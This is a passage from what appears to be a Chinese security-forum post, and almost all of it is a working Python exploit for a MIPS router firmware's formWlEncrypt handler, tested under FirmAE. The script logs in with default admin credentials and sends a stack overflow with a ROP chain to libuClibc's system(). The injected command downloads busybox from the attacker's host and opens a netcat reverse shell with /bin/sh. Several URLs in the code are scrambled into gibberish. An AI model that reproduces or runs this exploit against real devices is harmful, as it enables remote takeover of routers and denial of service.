    1
    echo 0 > /proc/sys/kernel/randomize_va_space
  • 之后执行下面的 exploit 测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
# exp.py
import requests
import logging
from pwn import *
 
context.log_level = 'INFO'
logging.basicConfig(level=logging.INFO)
 
def invokeformLogin():
    url = "e5cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3j5X3!0S2k6Y4u0E0i4K6u0r3k6X3!0J5L8f1I4G2k6$3W2F1"
    headers = {
        "Host": "192.168.0.1",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": "55cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4",
        "Connection": "close",
        "Referer": "cdfK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3L8r3!0Y4K9h3&6Q4x3X3g2Z5N6r3@1`."
    }
 
    data = {
        "topicurl": "setting/setUserLogin",
        "username": "admin",
        "userpass": "admin",
        "submit-url": "/login.htm"
    }
 
    requests.post(url, headers=headers, json=data)
 
def attack():
    io = remote('192.168.0.1',80)
    server_process = subprocess.Popen(['python', '-m', 'http.server'])
    sleep(2)
    logging.info("Please ensure that your device and your host are on the same local network, with the IP address of the target device being 192.168.0.1 and the host IP address being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.")
    logging.info("To successfully execute the reverse shell payload, ensure that the busybox-mipsel binary and the Python script are located in the same directory so that the targeted machine can\successfully download the file from the host.")
    logging.warning("On this virtual device, the loading base address of /lib/libuClibc-0.9.33.so is 0x77cef000. If you are using FirmAE mode for verification, please disable ASLR and use gdb + pwndbg's vmmap or other methods to determine the base address of libuClibc-0.9.33.so. If you cannot determine the runtime base address of ulibc, this attack payload will cause the device service to go offline, resulting in a denial of service attack.")
     
    #On this virtual device, the base address of ulibc is 0x77cef000.
    #If you are using FirmAE mode for verification, please disable ASLR
    #and determine the base value of ulibc using gdb + pwndbg's vmmap or other methods.
    #To successfully execute the reverse shell payload, ensure that the busybox-mipsel
    # binary and the Python script are located in the same directory so that the targeted
    #machine can successfully download the file from the host.
    #Please ensure that your device and your host are on the same local network, with the
    #IP address of the target device being 192.168.0.1 and the host IP address
    #being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.
     
    try:
        libc_base = 0x77cef000
        system = libc_base + 0x00031930
 
        ra = libc_base + 0x00014F70
        s2 = libc_base + 0x00031D04
        ra_ = libc_base + 0x00008084
        s5 = system
        cmd = b'wget 09eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1J5i4K6y4m8z5o6l9H3x3q4)9J5c8X3u0#2M7%4W2T1L8%4S2Q4x3X3c8E0K9i4m8K6k6h3I4Q4x3@1u0K6L8r3g2W2M7l9`.`. 3;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
 
        payload_factory = b'submit-url=%2Fwlsecurity.htm\
            &opmode_wizard=&staControlPrefer=0\
            &staControlEnabled=0&80211v_enable_=disable\
            &dot11k_=disable&SSID_Setting5=1\
            &has_vwlan5=\
            &wpaAuth5=psk\
            &wpa11w5=none\
            &wpa2EnableSHA2565=disable\
            &ciphersuite5=aes\
            &wpa2ciphersuite5=aes\
            &wps_clear_configure_by_reg5=0\
            &wlan_disabled5=0\
            &wlan_ssid5='
        payload_factory +=  b"a"*44+b"c"*4+b"b"*4+p32(s2)+b"b"*4+p32(ra)+b"a"*56+p32(s5)+p32(ra_)+b"x"*24+cmd
        payload_factory += b'&method5=0&stanums5=32&authType5=auto&wepKeyLen5=wep64&wepEnabled5=ON&length5=1&format5=2\
                &key5=**************************&pskFormat5=0&pskValue5=&preAuth5=&radiusIP5=&radiusPort5=1812\
                &radiusPass5=&use1x5=OFF&eapType5=0&eapInsideType5=0&eapUserId5=&radiusUserName5=&radiusUserPass5=\
                &radiusUserCertPass5=&wl_access5=0&tx_restrict5=0&rx_restrict5=0&hiddenSSID5=0&sync_password5=1&save_apply=1'
         
        payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n'
        payload += b'Host: 192.168.0.1\r\n'
        payload += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n'
        payload += b'Accept: */*\r\n'
        payload += b'Accept-Language: en-US,en;q=0.5\r\n'
        payload += b'Accept-Encoding: gzip, deflate\r\n'
        payload += b'Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n'
        payload += b'X-Requested-With: XMLHttpRequest\r\n'
        payload += bytes(f'Content-Length: {len(payload_factory)}\r\n',encoding='utf-8')
        payload += b'Origin: 75aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6g2o6M7W2)9#2b7$3&6Q4x3U0M7`.
        payload += b'Connection: close\r\n'
        payload += b'Referer: 2d9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0m8Q4x3X3f1I4i4K6u0r3N6$3I4K6k6h3y4#2M7X3W2@1P5g2)9J5k6h3S2@1L8g2)9#2b7%4u0Q4y4f1y4F1i4K6g2o6M7W2)9#2b7$3&6Q4x3U0M7`.
 
        payload += payload_factory
        io.send(payload)
        io.close()
 
        result = subprocess.run(f'nc -lvnp 2333', shell=True)
 
        if result.returncode == 0:
            logging.info("Done")
        else:
            logging.error("Command execution failed.")
    except Exception as e:
        logging.error(f"An error occurred: {e}")
    finally:
         
        server_process.terminate()
 
def main():
    invokeformLogin()
    attack()
 
if __name__ == "__main__":
    main()

python ./exp.py
图片描述


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2025-8-4 20:14 被mcrock编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回